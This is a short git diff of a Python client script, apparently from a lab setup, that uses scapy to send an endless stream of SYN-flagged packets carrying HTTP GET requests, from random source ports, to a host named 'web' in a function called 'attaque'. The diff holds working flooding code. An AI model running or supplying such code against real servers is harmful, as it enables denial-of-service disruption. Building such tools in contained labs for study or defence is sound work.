diff --git a/client/main.py b/client/main.py index 9069f57..e81e880 100644 --- a/client/main.py +++ b/client/main.py @@ -1,14 +1,14 @@ from scapy.all import * import random as r -L = [ - "GET / HTTP/1.1\r\nHost: localhost\r\n\r\n", - "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n", - "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n" -] +adresse = "web" +port = 80 -adresse = "127.0.0.1" -port = 80 +L = [ + f"GET / HTTP/1.1\r\nHost: {adresse}\r\n\r\n", + f"GET /index.html HTTP/1.1\r\nHost: {adresse}\r\n\r\n", + f"GET /about.html HTTP/1.1\r\nHost: {adresse}\r\n\r\n" +] def changeCara(val,nb): for i in range(nb): @@ -20,7 +20,7 @@ def attaque(): while True: requete = L[r.randint(0, 2)] paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete) - send(paquet, verbose=False) + send(paquet, verbose=True) if __name__ == "__main__": attaque()